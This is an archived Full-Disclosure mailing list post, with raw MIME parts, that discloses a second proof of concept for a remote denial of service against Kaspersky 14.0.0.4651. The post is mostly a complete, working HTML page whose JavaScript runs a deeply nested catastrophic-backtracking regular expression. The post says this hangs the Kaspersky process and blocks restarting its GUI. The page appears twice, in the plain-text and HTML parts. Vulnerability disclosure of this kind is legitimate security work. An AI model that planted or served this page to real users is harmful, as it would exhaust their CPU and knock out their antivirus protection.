Kaspersky 14.0.0.4651 RegExp Remote Denial of Service PoC2
"[CXSEC]" <[email protected]> Tue, 18 Mar 2014 23:37:40 +0100
| Newsgroups | gmane.comp.security.full-disclosure |
|---|---|
| Message-ID | <CABLZJbxsexvMgpFfgrsYbMjSgmUSvt66MOUaXL-H0diNVg95Nw@mail.gmail.com> |
--===============1667403161==
Content-Type: multipart/alternative; boundary=001a1139a08e118bf104f4e92f78
--001a1139a08e118bf104f4e92f78
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
Kaspersky has released updated for first PoC presented here
http://www.youtube.com/watch?v=3Djoa_9IS7U90 (
http://seclists.org/fulldisclosure/2014/Mar/166)
but there are still many combinations of evil patterns. For exmaple next
PoC2 is available here
https://www.youtube.com/watch?v=3D9PYtL0zck3I
code:
https://devilteam.pl/regex2.html
------
<HTML>
<HEAD>
<TITLE>RegExp Resource Exhaustion </TITLE>
</HEAD>
<BODY BGCOLOR=3D"#FFFFFF">
<SCRIPT type=3D"text/javascript">
var patt1=3Dnew
RegExp("(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(=
.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(=
.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(=
.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(=
.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*=
){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){1=
0}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(=
.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*)=
{10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10=
}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.=
*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){=
10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}=
(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*=
){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){1=
0}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*=
)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*=
)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*=
)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*=
)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*=
)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*=
)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*=
)+).*)+).*)+).*)+).*)+).*)+).*)+)");
document.write(patt1.exec("peace"));
</SCRIPT>
</BODY>
</HTML>
------
These expression leads to hang up kaspersky process by CPU Exhaustion.
Making it impossible to shut down and restart Kaspersky GUI.
A weak implementation of RE difficult defense against this type of attack.
In my opinion the most stable implementation of regular expressions is
NetBSD/OpenBSD where the authors have reduced the risk of leakage of
resources by the level of recursion.
References:
http://cxsecurity.com/issue/WLB-2014030108
Best regards,
CXSEC TEAM
http://cxsec.org/
--001a1139a08e118bf104f4e92f78
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
<div dir=3D"ltr"><div>Kaspersky has released updated for first PoC presente=
d here</div><div><br></div><div><a href=3D"http://www.youtube.com/watch?v=
=3Djoa_9IS7U90">http://www.youtube.com/watch?v=3Djoa_9IS7U90</a> (<a href=
=3D"http://seclists.org/fulldisclosure/2014/Mar/166">http://seclists.org/fu=
lldisclosure/2014/Mar/166</a>)</div>
<div><br></div><div>but there are still many combinations of evil patterns.=
For exmaple next PoC2 is available here</div><div><br></div><div><a href=
=3D"https://www.youtube.com/watch?v=3D9PYtL0zck3I">https://www.youtube.com/=
watch?v=3D9PYtL0zck3I</a></div>
<div><br></div><div>code:</div><div><a href=3D"https://devilteam.pl/regex2.=
html">https://devilteam.pl/regex2.html</a></div><div><br></div><div>------<=
/div><div><HTML></div><div><HEAD></div><div><TITLE>RegExp=
Resource Exhaustion </TITLE></div>
<div></HEAD></div><div><BODY BGCOLOR=3D"#FFFFFF"></di=
v><div><SCRIPT type=3D"text/javascript"></div><div>var patt=
1=3Dnew</div><div>RegExp("(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.=
*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.=
*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.=
*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.=
*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*)=
{10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10=
}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.=
*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){=
10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}=
(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*=
){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){1=
0}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(=
.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*)=
{10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10=
}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.=
*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+=
).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+=
).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+=
).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+=
).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+=
).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+=
).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)");</div>
<div>document.write(patt1.exec("peace"));</div><div></SCRIPT&g=
t;</div><div></BODY></div><div></HTML></div><div>------</div><d=
iv><br></div><div>These expression leads to hang up kaspersky process by CP=
U Exhaustion. =C2=A0Making it impossible to shut down and restart Kaspersky=
GUI.=C2=A0</div>
<div>A weak implementation of RE difficult defense against this type of att=
ack.</div><div>In my opinion the most stable implementation of regular expr=
essions is NetBSD/OpenBSD where the authors have reduced the risk of leakag=
e of resources by the level of recursion.</div>
<div><br></div><div>References:</div><div><a href=3D"http://cxsecurity.com/=
issue/WLB-2014030108">http://cxsecurity.com/issue/WLB-2014030108</a><br></d=
iv><div><br></div><div><div dir=3D"ltr">Best regards,<div>CXSEC TEAM</div><=
div>
<a href=3D"http://cxsec.org/" target=3D"_blank">http://cxsec.org/</a></div>=
</div></div>
</div>
--001a1139a08e118bf104f4e92f78--
--===============1667403161==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--===============1667403161==--